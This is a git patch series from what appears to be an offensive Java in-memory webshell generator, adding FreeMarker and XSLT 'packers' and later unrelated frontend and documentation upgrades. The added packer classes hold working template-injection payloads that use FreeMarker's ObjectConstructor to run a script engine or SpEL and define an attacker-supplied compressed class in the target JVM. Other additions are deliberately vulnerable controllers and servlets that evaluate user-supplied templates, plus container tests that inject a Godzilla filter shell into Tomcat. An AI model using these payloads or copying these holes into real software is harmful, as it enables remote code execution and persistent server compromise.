com.reajason.javaweb.packer.groovy.GroovyPacker; import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker; @@ -142,6 +145,9 @@ public enum Packers { GroovyScriptEngine(new GroovyScriptEnginePacker(), GroovyPacker.class), Freemarker(new FreemarkerPacker()), + FreemarkerScriptEngine(new FreemarkerScriptEnginePacker(), FreemarkerPacker.class), + FreemarkerSpELSpringGzip(new FreemarkerSpELSpringGzipPacker(), FreemarkerPacker.class), + FreemarkerSpELSpringGzipJDK17(new FreemarkerSpELSpringGzipJDK17Packer(), FreemarkerPacker.class), Velocity(new VelocityPacker()), JinJava(new JinJavaPacker()), XMLDecoder(new XMLDecoderPacker()), diff --git a/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerPacker.java index 69a71a1c..2284f614 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerPacker.java @@ -1,19 +1,10 @@ package com.reajason.javaweb.packer.freemarker; -import com.reajason.javaweb.packer.ClassPackerConfig; -import com.reajason.javaweb.packer.Packer; -import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.packer.AggregatePacker; /** * @author ReaJason * @since 2024/12/13 */ -public class FreemarkerPacker implements Packer { - String template = "${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}"; - - @Override - public String pack(ClassPackerConfig config) { - String script = Packers.ScriptEngine.getInstance().pack(config); - return template.replace("{{script}}", script); - } +public class FreemarkerPacker implements AggregatePacker { } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerScriptEnginePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerScriptEnginePacker.java new file mode 100644 index 00000000..aab9779e --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerScriptEnginePacker.java @@ -0,0 +1,19 @@ +package com.reajason.javaweb.packer.freemarker; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; + +/** + * @author ReaJason + * @since 2024/12/13 + */ +public class FreemarkerScriptEnginePacker implements Packer { + String template = "${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}"; + + @Override + public String pack(ClassPackerConfig config) { + String script = Packers.ScriptEngine.getInstance().pack(config); + return template.replace("{{script}}", script); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerSpELSpringGzipJDK17Packer.java b/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerSpELSpringGzipJDK17Packer.java new file mode 100644 index 00000000..c1e64555 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerSpELSpringGzipJDK17Packer.java @@ -0,0 +1,25 @@ +package com.reajason.javaweb.packer.freemarker; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; + +import static com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer.assertClassNameValid; + +/** + * JDK 17-compatible FreeMarker/SpEL class-definition payload. + * + * @author ReaJason + * @since 2026/8/30 + */ +public class FreemarkerSpELSpringGzipJDK17Packer implements Packer { + String template = "${\"freemarker.template.utility.ObjectConstructor\"?new()(\"org.springframework.expression.spel.standard.SpelExpressionParser\").parseExpression(\"T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(java.util.Base64).getDecoder().decode('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()\").getValue()}"; + + @Override + public String pack(ClassPackerConfig config) { + String className = config.getClassName(); + assertClassNameValid(className); + return template.replace("{{className}}", className) + .replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config)); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerSpELSpringGzipPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerSpELSpringGzipPacker.java new file mode 100644 index 00000000..9088659f --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerSpELSpringGzipPacker.java @@ -0,0 +1,22 @@ +package com.reajason.javaweb.packer.freemarker; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; + +/** + * Uses FreeMarker's ObjectConstructor to create a SpEL parser and evaluate a + * compressed class-definition expression. + * + * @author ReaJason + * @since 2026/8/30 + */ +public class FreemarkerSpELSpringGzipPacker implements Packer { + String template = "${\"freemarker.template.utility.ObjectConstructor\"?new()(\"org.springframework.expression.spel.standard.SpelExpressionParser\").parseExpression(\"T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()\").getValue()}"; + + @Override + public String pack(ClassPackerConfig config) { + return template.replace("{{className}}", config.getClassName()) + .replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config)); + } +} diff --git a/packer/src/test/java/com/reajason/javaweb/packer/freemarker/FreemarkerSpELSpringGzipPackerTest.java b/packer/src/test/java/com/reajason/javaweb/packer/freemarker/FreemarkerSpELSpringGzipPackerTest.java new file mode 100644 index 00000000..1443a677 --- /dev/null +++ b/packer/src/test/java/com/reajason/javaweb/packer/freemarker/FreemarkerSpELSpringGzipPackerTest.java @@ -0,0 +1,43 @@ +package com.reajason.javaweb.packer.freemarker; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import org.junit.jupiter.api.Test; + +import java.nio.charset.StandardCharsets; +import java.util.Base64; + +import static org.junit.jupiter.api.Assertions.assertDoesNotThrow; +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; + +class FreemarkerSpELSpringGzipPackerTest { + + private static ClassPackerConfig config(String className) { + ClassPackerConfig config = new ClassPackerConfig(); + byte[] classBytes = "hello".getBytes(StandardCharsets.UTF_8); + config.setClassName(className); + config.setClassBytes(classBytes); + config.setClassBytesBase64Str(Base64.getEncoder().encodeToString(classBytes)); + return config; + } + + @Test + void pack() { + String payload = new FreemarkerSpELSpringGzipPacker().pack(config("com.example.Test")); + + assertTrue(payload.startsWith("${\"freemarker.template.utility.ObjectConstructor\"?new()")); + assertTrue(payload.contains("SpelExpressionParser")); + assertTrue(payload.contains("Base64Utils")); + assertTrue(payload.contains("GZIPInputStream")); + assertTrue(payload.contains("com.example.Test")); + } + + @Test + void packJdk17() { + FreemarkerSpELSpringGzipJDK17Packer packer = new FreemarkerSpELSpringGzipJDK17Packer(); + + assertDoesNotThrow(() -> packer.pack(config("org.springframework.expression.Test"))); + assertThrows(UnsupportedOperationException.class, + () -> packer.pack(config("com.example.Test"))); + } +} diff --git a/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/controller/ARaspKiller.java b/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/controller/ARaspKiller.java new file mode 100644 index 00000000..e69de29b diff --git a/vul/vul-springboot3/build.gradle.kts b/vul/vul-springboot3/build.gradle.kts index cbeb2f8c..2f17bcc3 100644 --- a/vul/vul-springboot3/build.gradle.kts +++ b/vul/vul-springboot3/build.gradle.kts @@ -22,6 +22,7 @@ dependencies { implementation("ognl:ognl:2.7.3") implementation("commons-jxpath:commons-jxpath:1.3") implementation("commons-beanutils:commons-beanutils:1.9.3") + implementation("org.freemarker:freemarker:2.3.23") } tasks.test { diff --git a/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/FreemarkerController.java b/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/FreemarkerController.java new file mode 100644 index 00000000..1fd38caf --- /dev/null +++ b/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/FreemarkerController.java @@ -0,0 +1,35 @@ +package com.reajason.javaweb.vul.springboot3.controller; + +import freemarker.template.Configuration; +import freemarker.template.Template; +import freemarker.template.TemplateException; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; + +import java.io.IOException; +import java.io.StringReader; +import java.io.StringWriter; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2026/8/30 + */ +@RestController +@RequestMapping("/freemarker") +public class FreemarkerController { + @PostMapping + public String freemarker(@RequestParam String data) throws IOException, TemplateException { + Configuration configuration = new Configuration(); + configuration.setDefaultEncoding("UTF-8"); + Map input = new HashMap<>(); + input.put("object", new Object()); + Template template = new Template("templateName", new StringReader(data), configuration); + StringWriter output = new StringWriter(); + template.process(input, output); + return output.toString(); + } +} diff --git a/web/.env b/web/.env index 1f867a91..56d7e9e7 100644 --- a/web/.env +++ b/web/.env @@ -1,2 +1,2 @@ -VITE_APP_API_URL=http://127.0.0.1:8080 +VITE_APP_API_URL=http://127.0.0.1:8889 VITE_APP_BASE_PATH=/ \ No newline at end of file diff --git a/web/app/utils/transformer.ts b/web/app/utils/transformer.ts index 0b537069..c62deb69 100644 --- a/web/app/utils/transformer.ts +++ b/web/app/utils/transformer.ts @@ -2,15 +2,6 @@ import type { InjectorConfig, ShellConfig, ShellToolConfig } from "@/types/memsh import type { ProbeConfig, ProbeContentConfig } from "@/types/probeshell"; import type { MemShellFormSchema, ProbeShellFormSchema } from "@/types/schema"; -const SPRING_GZIP_JDK17_RELATED_PACKERS = new Set([ - "SpEL", - "SpELSpringGzipJDK17", - "OGNL", - "OGNLSpringGzipJDK17", - "JXPath", - "JXPathSpringGzipJDK17", -]); - const UPPERCASE_LETTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; const CLASS_NAME_LETTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; @@ -31,7 +22,7 @@ function generateSpringExpressionInjectorClassName() { } function isSpringGzipJdk17RelatedPacker(packer: string) { - return SPRING_GZIP_JDK17_RELATED_PACKERS.has(packer); + return packer.endsWith("SpringGzipJDK17"); } export function transformToPostData(formValue: MemShellFormSchema) { From 6d1e301b9df79c27b22f62bb907aff3554b03ec9 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 30 Aug 2026 17:40:18 +0800 Subject: [PATCH 14/20] feat: add XSLT packer --- .../javaweb/integration/ShellAssertion.java | 1 + .../tomcat/Tomcat8XSLTContainerTest.java | 58 +++++++++++++++++++ .../com/reajason/javaweb/packer/Packers.java | 8 +++ .../javaweb/packer/xslt/XSLTPacker.java | 10 ++++ .../packer/xslt/XSLTScriptEnginePacker.java | 41 +++++++++++++ .../javaweb/packer/xslt/XSLTPackerTest.java | 33 +++++++++++ vul/vul-webapp/src/main/java/XSLTServlet.java | 29 ++++++++++ .../src/main/webapp/WEB-INF/web.xml | 9 +++ 8 files changed, 189 insertions(+) create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8XSLTContainerTest.java create mode 100644 packer/src/main/java/com/reajason/javaweb/packer/xslt/XSLTPacker.java create mode 100644 packer/src/main/java/com/reajason/javaweb/packer/xslt/XSLTScriptEnginePacker.java create mode 100644 packer/src/test/java/com/reajason/javaweb/packer/xslt/XSLTPackerTest.java create mode 100644 vul/vul-webapp/src/main/java/XSLTServlet.java diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java index fb0c8005..35ac9ed0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java @@ -445,6 +445,7 @@ public static void injectIsOk(String url, String shellType, String shellTool, St case ScriptEngineJar -> VulTool.postIsOk(url + "/snakeYaml", content); case GroovyTransformJar -> VulTool.postIsOk(url + "/fastjson", content); case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content); + case XSLT, XSLTScriptEngine -> VulTool.postIsOk(url + "/xslt", content); case Base64 -> VulTool.postIsOk(url + "/b64", content); case BigInteger -> VulTool.postIsOk(url + "/biginteger", content); case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8XSLTContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8XSLTContainerTest.java new file mode 100644 index 00000000..42ffaa57 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8XSLTContainerTest.java @@ -0,0 +1,58 @@ +package com.reajason.javaweb.integration.memshell.tomcat; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2026/8/30 + */ +@Slf4j +@Testcontainers +public class Tomcat8XSLTContainerTest { + public static final String imageName = "tomcat:8-jre8"; + + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XSLTScriptEngine) + ); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}-xslt|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, String shellTool, Packers packer) { + ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java index 24846dfd..55f0efd8 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java @@ -53,6 +53,8 @@ import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker; import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker; import com.reajason.javaweb.packer.xmldecoder.XMLDecoderScriptEnginePacker; +import com.reajason.javaweb.packer.xslt.XSLTPacker; +import com.reajason.javaweb.packer.xslt.XSLTScriptEnginePacker; import com.reajason.javaweb.packer.xxljob.XxlJobHessianPacker; import com.reajason.javaweb.packer.xxljob.XxlJobJsonPacker; import com.reajason.javaweb.packer.xxljob.XxlJobPacker; @@ -154,6 +156,12 @@ public enum Packers { XMLDecoderScriptEngine(new XMLDecoderScriptEnginePacker(), XMLDecoderPacker.class), XMLDecoderDefineClass(new XMLDecoderDefineClassPacker(), XMLDecoderPacker.class), + /** + * XSLT 打包器 + */ + XSLT(new XSLTPacker()), + XSLTScriptEngine(new XSLTScriptEnginePacker(), XSLTPacker.class), + /** * Java 反序列化打包器 */ diff --git a/packer/src/main/java/com/reajason/javaweb/packer/xslt/XSLTPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/xslt/XSLTPacker.java new file mode 100644 index 00000000..759ba65a --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/xslt/XSLTPacker.java @@ -0,0 +1,10 @@ +package com.reajason.javaweb.packer.xslt; + +import com.reajason.javaweb.packer.AggregatePacker; + +/** + * @author ReaJason + * @since 2026/8/30 + */ +public class XSLTPacker implements AggregatePacker { +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/xslt/XSLTScriptEnginePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/xslt/XSLTScriptEnginePacker.java new file mode 100644 index 00000000..1d1e33b2 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/xslt/XSLTScriptEnginePacker.java @@ -0,0 +1,41 @@ +package com.reajason.javaweb.packer.xslt; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; + +import java.nio.charset.StandardCharsets; +import java.util.Base64; + +/** + * JDK 1.6 ~ 1.8 XSLT payload (Xalan Java extension functions): decodes the + * JavaScript payload with javax.xml.bind.DatatypeConverter (bundled since JDK6, + * removed in JDK11) and evaluates it through the built-in ScriptEngineManager + * js engine (Rhino on JDK 1.6/1.7, Nashorn on JDK 1.8). + * + * @author ReaJason + * @since 2026/8/30 + */ +public class XSLTScriptEnginePacker implements Packer { + String template = "" + + "" + + "" + + "" + + "" + + "" + + "" + + "" + + ""; + + @Override + public String pack(ClassPackerConfig config) { + String js = Packers.DefaultScriptEngine.getInstance().pack(config); + return template.replace("{{base64Str}}", + Base64.getEncoder().encodeToString(js.getBytes(StandardCharsets.UTF_8))); + } +} diff --git a/packer/src/test/java/com/reajason/javaweb/packer/xslt/XSLTPackerTest.java b/packer/src/test/java/com/reajason/javaweb/packer/xslt/XSLTPackerTest.java new file mode 100644 index 00000000..a239e591 --- /dev/null +++ b/packer/src/test/java/com/reajason/javaweb/packer/xslt/XSLTPackerTest.java @@ -0,0 +1,33 @@ +package com.reajason.javaweb.packer.xslt; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import org.junit.jupiter.api.Test; + +import java.nio.charset.StandardCharsets; +import java.util.Base64; + +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertTrue; + +class XSLTPackerTest { + + private static ClassPackerConfig config(String className) { + ClassPackerConfig config = new ClassPackerConfig(); + byte[] classBytes = "hello".getBytes(StandardCharsets.UTF_8); + config.setClassName(className); + config.setClassBytes(classBytes); + config.setClassBytesBase64Str(Base64.getEncoder().encodeToString(classBytes)); + return config; + } + + @Test + void packScriptEngine() { + String payload = new XSLTScriptEnginePacker().pack(config("com.example.Test")); + + assertTrue(payload.startsWith("")), + new StreamResult(resp.getWriter())); + } catch (Exception e) { + throw new RuntimeException(e); + } + } +} diff --git a/vul/vul-webapp/src/main/webapp/WEB-INF/web.xml b/vul/vul-webapp/src/main/webapp/WEB-INF/web.xml index d44e5d08..1adb9b2a 100644 --- a/vul/vul-webapp/src/main/webapp/WEB-INF/web.xml +++ b/vul/vul-webapp/src/main/webapp/WEB-INF/web.xml @@ -33,6 +33,15 @@ /js + + xslt + XSLTServlet + + + xslt + /xslt + + java-deserialize JavaReadObjServlet From e5267e2436f88864660752b082f0d677fed7dfa2 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 30 Aug 2026 18:05:20 +0800 Subject: [PATCH 15/20] chore: remove decompile code comment --- web/app/lib/decompile/decompile.worker.ts | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/web/app/lib/decompile/decompile.worker.ts b/web/app/lib/decompile/decompile.worker.ts index 8042bba8..9157eecb 100644 --- a/web/app/lib/decompile/decompile.worker.ts +++ b/web/app/lib/decompile/decompile.worker.ts @@ -69,11 +69,23 @@ function tokenizeToLines(code: string): TokenLine[] { return lines; } +/** CFR options: no "Could not load the following classes" list, no version banner */ +const CFR_OPTIONS = { comments: "false", showversion: "false" }; + +/** Strip CFR's leading "Decompiled with CFR" banner comment */ +function stripCfrBanner(source: string): string { + return source.replace(/^\/\*\r?\n \* Decompiled with CFR[\s\S]*?\*\/\r?\n?/, ""); +} + async function decompileClass( jvmClassName: string, classes: Map, ): Promise { - const source = await decompile(jvmClassName, { source: (name) => classes.get(name) ?? null }); + const raw = await decompile(jvmClassName, { + source: (name) => classes.get(name) ?? null, + options: CFR_OPTIONS, + }); + const source = stripCfrBanner(raw); return { source, lines: tokenizeToLines(source) }; } From 439b0ae5452e73220d8335105451dc987c6be3f1 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 30 Aug 2026 19:08:33 +0800 Subject: [PATCH 16/20] feat: upgrade fumadocs --- web/app/components/search.tsx | 15 +- web/app/config.ts | 2 +- web/app/docs/page.tsx | 70 +- web/app/docs/search.ts | 11 +- web/app/lib/source.ts | 12 +- web/app/types/schema.ts | 7 +- web/bun.lock | 1167 +++++++++++---------------------- web/package.json | 68 +- web/source.config.ts | 12 - web/tsconfig.json | 3 +- web/vite.config.ts | 16 +- 11 files changed, 475 insertions(+), 908 deletions(-) delete mode 100644 web/source.config.ts diff --git a/web/app/components/search.tsx b/web/app/components/search.tsx index 6d5b3351..7d187d91 100644 --- a/web/app/components/search.tsx +++ b/web/app/components/search.tsx @@ -1,5 +1,5 @@ -import { create } from "@orama/orama"; import { useDocsSearch } from "fumadocs-core/search/client"; +import { staticClient } from "fumadocs-core/search/client/orama-static"; import { SearchDialog, SearchDialogClose, @@ -13,19 +13,12 @@ import { } from "fumadocs-ui/components/dialog/search"; import { useI18n } from "fumadocs-ui/contexts/i18n"; -function initOrama() { - return create({ - schema: { _: "string" }, - language: "english", - }); -} - export default function DefaultSearchDialog(props: SharedProps) { const { locale } = useI18n(); const { search, setSearch, query } = useDocsSearch({ - type: "static", - initOrama, - locale, + client: staticClient({ + locale, + }), }); return ( diff --git a/web/app/config.ts b/web/app/config.ts index ec992ac5..f09af67d 100644 --- a/web/app/config.ts +++ b/web/app/config.ts @@ -7,7 +7,7 @@ const EnvSchema = yup.object({ }); type EnvSchema = yup.InferType; -function safeParseYup(schema: yup.ObjectSchema, data: unknown) { +function safeParseYup(schema: yup.AnySchema, data: unknown) { try { const validatedData = schema.validateSync(data, { abortEarly: false, diff --git a/web/app/docs/page.tsx b/web/app/docs/page.tsx index 118f2112..8487aabe 100644 --- a/web/app/docs/page.tsx +++ b/web/app/docs/page.tsx @@ -1,6 +1,5 @@ import type { Route } from "./+types/page"; -import browserCollections from "collections/browser"; import { useFumadocsLoader } from "fumadocs-core/source/client"; import { DocsLayout } from "fumadocs-ui/layouts/docs"; import { @@ -11,13 +10,14 @@ import { MarkdownCopyButton, ViewOptionsPopover, } from "fumadocs-ui/layouts/docs/page"; +import { use } from "react"; import { useMDXComponents } from "@/components/mdx"; import { baseOptions } from "@/lib/layout.shared"; -import { getPageMarkdownUrl, source } from "@/lib/source"; +import { docs, getPageMarkdownUrl, source } from "@/lib/source"; export async function loader({ params }: Route.LoaderArgs) { - const slugs = params["*"].split("/").filter((v: string | any[]) => v.length > 0); + const slugs = params["*"].split("/").filter((v) => v.length > 0); const page = source.getPage(slugs); if (!page) throw new Response("Not found", { status: 404 }); @@ -28,48 +28,40 @@ export async function loader({ params }: Route.LoaderArgs) { }; } -const clientLoader = browserCollections.docs.createClientLoader({ - component( - { toc, frontmatter, default: Mdx }, - // you can define props for the component - { - markdownUrl, - path, - }: { - markdownUrl: string; - path: string; - }, - ) { - return ( - - {frontmatter.title} - - {frontmatter.title} - {frontmatter.description} -

- - - - - ); - }, -}); +function Content({ path, markdownUrl }: { path: string; markdownUrl: string }) { + const page = docs.getPage(path); + if (!page) throw new Error(`unknown page: ${path}`); + + // content is loaded lazily, call `page.preload()` in the loader to avoid suspending + const { toc } = use(page.load()); + const Mdx = page.body; + + return ( + + {page.title} + + {page.title} + {page.description} +
+ + +
+ + + +
+ ); +} export default function Page({ loaderData }: Route.ComponentProps) { const { pageTree, path, markdownUrl } = useFumadocsLoader(loaderData); return ( - {clientLoader.useContent(loaderData.path, { - markdownUrl, - path, - })} + ); } diff --git a/web/app/docs/search.ts b/web/app/docs/search.ts index 572f393a..2e56455d 100644 --- a/web/app/docs/search.ts +++ b/web/app/docs/search.ts @@ -1,17 +1,8 @@ -import { stopwords as mandarinStopwords } from "@orama/stopwords/mandarin"; -import { createTokenizer } from "@orama/tokenizers/mandarin"; import { createFromSource } from "fumadocs-core/search/server"; import { source } from "@/lib/source"; -const server = createFromSource(source, { - components: { - tokenizer: createTokenizer({ - language: "mandarin", - stopWords: mandarinStopwords, - }), - }, -}); +const server = createFromSource(source); export async function loader() { return server.staticGET(); diff --git a/web/app/lib/source.ts b/web/app/lib/source.ts index 4b7ffab9..a4128d34 100644 --- a/web/app/lib/source.ts +++ b/web/app/lib/source.ts @@ -1,6 +1,16 @@ -import { docs } from "collections/server"; import { loader, type InferPageType } from "fumadocs-core/source"; import { lucideIconsPlugin } from "fumadocs-core/source/lucide-icons"; +import { defineDocs } from "fumadocs-mdx/macro"; + +export const docs = defineDocs({ + dir: "content/docs", + docs: { + async: true, + postprocess: { + includeProcessedMarkdown: true, + }, + }, +}); export const source = loader({ source: docs.toFumadocsSource(), diff --git a/web/app/types/schema.ts b/web/app/types/schema.ts index 582b49a2..8ee38e3f 100644 --- a/web/app/types/schema.ts +++ b/web/app/types/schema.ts @@ -53,7 +53,7 @@ const urlPatternIsNeeded = (shellType: string) => { const isInvalidUrl = (urlPattern: string | undefined) => urlPattern === "/" || urlPattern === "/*" || !urlPattern?.startsWith("/") || !urlPattern; -export const useYupValidationResolver = (validationSchema: yup.ObjectSchema, t: TFunction) => +export const useYupValidationResolver = (validationSchema: yup.AnySchema, t: TFunction) => useCallback( async (data: MemShellFormSchema, _context: any): Promise => { try { @@ -157,10 +157,7 @@ export const probeShellFormSchema = yup.object().shape({ type ProbeValidationResult = ResolverResult; -export const useYupValidationProbeResolver = ( - validationSchema: yup.ObjectSchema, - t: TFunction, -) => +export const useYupValidationProbeResolver = (validationSchema: yup.AnySchema, t: TFunction) => useCallback( async (data: ProbeShellFormSchema, _context: any): Promise => { try { diff --git a/web/bun.lock b/web/bun.lock index da077431..91b6a30d 100644 --- a/web/bun.lock +++ b/web/bun.lock @@ -5,55 +5,52 @@ "": { "name": "fumadocs", "dependencies": { - "@base-ui/react": "^1.6.0", - "@hookform/resolvers": "^5.4.0", - "@orama/orama": "^3.1.18", - "@orama/stopwords": "^3.1.18", - "@orama/tokenizers": "^3.1.18", - "@react-router/node": "^7.15.1", + "@base-ui/react": "^1.7.0", + "@hookform/resolvers": "^5.9.1", + "@react-router/node": "^8.3.1", "@run-slicer/cfr": "file:./vendor/cfr", - "@tanstack/react-query": "^5.101.2", + "@tanstack/react-query": "^5.102.8", "class-variance-authority": "^0.7.1", "clsx": "^2.1.1", - "framer-motion": "^12.42.0", - "fumadocs-core": "^16.10.6", - "fumadocs-mdx": "15.0.12", - "fumadocs-ui": "16.10.5", - "i18next": "^26.3.3", - "isbot": "^5.1.44", - "lucide-react": "^1.21.0", - "motion": "^12.42.0", - "react": "^19.2.7", + "framer-motion": "^13.1.1", + "fumadocs-core": "^16.15.4", + "fumadocs-mdx": "15.4.0", + "fumadocs-ui": "16.15.4", + "i18next": "^26.4.0", + "isbot": "^5.2.2", + "lucide-react": "^1.37.0", + "motion": "^13.1.1", + "react": "^19.2.8", "react-copy-to-clipboard": "^5.1.1", - "react-dom": "^19.2.7", - "react-hook-form": "^7.80.0", - "react-i18next": "^17.0.8", - "react-medium-image-zoom": "^5.4.8", + "react-dom": "^19.2.8", + "react-hook-form": "^7.87.0", + "react-i18next": "^17.0.12", + "react-medium-image-zoom": "^5.4.9", "react-syntax-highlighter": "^16.1.1", - "sonner": "^2.0.7", + "sonner": "^2.0.8", "tailwind-merge": "^3.6.0", "tw-animate-css": "^1.4.0", "yup": "^1.7.1", }, "devDependencies": { - "@react-router/dev": "^7.15.1", - "@tailwindcss/vite": "^4.3.1", + "@react-router/dev": "^8.3.1", + "@tailwindcss/vite": "^4.3.3", "@types/mdx": "^2.0.14", - "@types/node": "^26.0.1", - "@types/react": "^19.2.17", + "@types/node": "^26.4.0", + "@types/react": "^19.2.18", "@types/react-copy-to-clipboard": "^5.0.7", - "@types/react-dom": "^19.2.3", + "@types/react-dom": "^19.2.5", "@types/react-syntax-highlighter": "^15.5.13", - "baseline-browser-mapping": "^2.10.40", - "oxfmt": "^0.56.0", - "oxlint": "^1.71.0", - "react-router-devtools": "^6.2.1", + "baseline-browser-mapping": "^2.11.20", + "oxfmt": "^0.65.0", + "oxlint": "^1.80.0", + "react-router-devtools": "^6.2.3", "rimraf": "^6.1.3", "serve": "^14.2.6", - "tailwindcss": "^4.3.1", - "typescript": "^6.0.3", - "vite": "^8.1.0", - "vite-plugin-devtools-json": "^1.0.0", + "tailwindcss": "^4.3.3", + "typescript": "^7.0.2", + "vite": "^8.2.2", + "vite-plugin-devtools-json": "^1.1.0", "vite-tsconfig-paths": "^6.1.1", }, }, @@ -65,30 +62,16 @@ "@babel/core": 